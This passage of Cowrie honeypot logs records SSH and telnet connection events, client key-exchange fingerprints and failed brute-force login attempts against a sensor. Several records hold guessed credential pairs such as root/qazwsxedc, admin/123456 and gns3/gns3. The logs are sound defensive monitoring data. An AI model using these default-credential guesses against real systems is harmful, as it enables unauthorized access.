openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:30.468894Z","src_ip":"45.156.87.204","session":"9252c7b94297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:30.715403Z","src_ip":"45.156.87.204","session":"9252c7b94297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:31.800672Z","src_ip":"45.156.87.204","session":"9252c7b94297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.96063756942749,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:32.844051Z","src_ip":"152.42.224.71","session":"47613fd89edf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46224,"dst_ip":"10.17.0.5","dst_port":23,"session":"cee980bcde3e","protocol":"telnet","message":"New connection: 152.42.224.71:46224 (10.17.0.5:23) [session: cee980bcde3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:33.039949Z"}
{"eventid":"cowrie.session.closed","duration":38.82369112968445,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:33.333135Z","src_ip":"152.42.224.71","session":"c5aab80fe540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":37204,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac5e9e1943d1","protocol":"ssh","message":"New connection: 45.156.87.204:37204 (159.203.135.109:22) [session: ac5e9e1943d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:33.845932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:33.850115Z","src_ip":"45.156.87.204","session":"ac5e9e1943d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:34.038951Z","src_ip":"45.156.87.204","session":"ac5e9e1943d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:34.559194Z","src_ip":"45.156.87.204","session":"ac5e9e1943d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:35.649985Z","src_ip":"45.156.87.204","session":"ac5e9e1943d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.490331172943115,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:35.675786Z","src_ip":"152.42.224.71","session":"2d75002520f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51350,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2e24d3019b4","protocol":"telnet","message":"New connection: 152.42.224.71:51350 (10.17.0.5:23) [session: c2e24d3019b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:36.850003Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59780,"dst_ip":"10.17.0.5","dst_port":23,"session":"627314a2bca8","protocol":"telnet","message":"New connection: 152.42.224.71:59780 (10.17.0.5:23) [session: 627314a2bca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:36.991682Z"}
{"eventid":"cowrie.session.closed","duration":46.240777254104614,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:37.211503Z","src_ip":"152.42.224.71","session":"217420c8aa7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":37212,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b864e6f6db8","protocol":"ssh","message":"New connection: 45.156.87.204:37212 (159.203.135.109:22) [session: 5b864e6f6db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:37.815188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:37.819471Z","src_ip":"45.156.87.204","session":"5b864e6f6db8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:37.901664Z","src_ip":"45.156.87.204","session":"5b864e6f6db8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:38.147597Z","src_ip":"45.156.87.204","session":"5b864e6f6db8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:39.231928Z","src_ip":"45.156.87.204","session":"5b864e6f6db8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59784,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc5117683a71","protocol":"telnet","message":"New connection: 152.42.224.71:59784 (10.17.0.5:23) [session: bc5117683a71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:39.729980Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59794,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2888def4fc9","protocol":"telnet","message":"New connection: 152.42.224.71:59794 (10.17.0.5:23) [session: b2888def4fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:39.773609Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":37228,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bd955a5f8ba","protocol":"ssh","message":"New connection: 45.156.87.204:37228 (159.203.135.109:22) [session: 0bd955a5f8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:41.392031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:41.396483Z","src_ip":"45.156.87.204","session":"0bd955a5f8ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:41.481294Z","src_ip":"45.156.87.204","session":"0bd955a5f8ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:41.726349Z","src_ip":"45.156.87.204","session":"0bd955a5f8ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":77.11909556388855,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:41.902948Z","src_ip":"152.42.224.71","session":"29908ac75a22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:42.811127Z","src_ip":"45.156.87.204","session":"0bd955a5f8ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.350048542022705,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:43.474013Z","src_ip":"152.42.224.71","session":"737080ab0e44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":43688,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fc5e4312275","protocol":"ssh","message":"New connection: 119.28.114.76:43688 (159.203.135.109:22) [session: 2fc5e4312275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:44.180516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:44.185364Z","src_ip":"119.28.114.76","session":"2fc5e4312275","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:44.430530Z","src_ip":"119.28.114.76","session":"2fc5e4312275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56388,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bd2bedee855","protocol":"ssh","message":"New connection: 45.156.87.204:56388 (159.203.135.109:22) [session: 4bd2bedee855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:45.217169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:45.222016Z","src_ip":"45.156.87.204","session":"4bd2bedee855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:45.308980Z","src_ip":"45.156.87.204","session":"4bd2bedee855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"game","password":"game123","message":"login attempt [game/game123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:45.443869Z","src_ip":"119.28.114.76","session":"2fc5e4312275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:45.556560Z","src_ip":"45.156.87.204","session":"4bd2bedee855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:46.642698Z","src_ip":"45.156.87.204","session":"4bd2bedee855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:46.692197Z","src_ip":"119.28.114.76","session":"2fc5e4312275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56400,"dst_ip":"159.203.135.109","dst_port":22,"session":"742555752c82","protocol":"ssh","message":"New connection: 45.156.87.204:56400 (159.203.135.109:22) [session: 742555752c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:48.694466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:48.699069Z","src_ip":"45.156.87.204","session":"742555752c82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:48.781311Z","src_ip":"45.156.87.204","session":"742555752c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:49.028042Z","src_ip":"45.156.87.204","session":"742555752c82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:50.113289Z","src_ip":"45.156.87.204","session":"742555752c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35466,"dst_ip":"10.17.0.5","dst_port":23,"session":"16326a6b881d","protocol":"telnet","message":"New connection: 152.42.224.71:35466 (10.17.0.5:23) [session: 16326a6b881d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:50.386659Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":58820,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a6b9f16f41a","protocol":"ssh","message":"New connection: 42.200.78.78:58820 (159.203.135.109:22) [session: 0a6b9f16f41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:51.256421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:51.261066Z","src_ip":"42.200.78.78","session":"0a6b9f16f41a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:51.477520Z","src_ip":"42.200.78.78","session":"0a6b9f16f41a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00106191635132,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:51.554034Z","src_ip":"152.42.224.71","session":"4bab845a69d2","protocol":"telnet"}
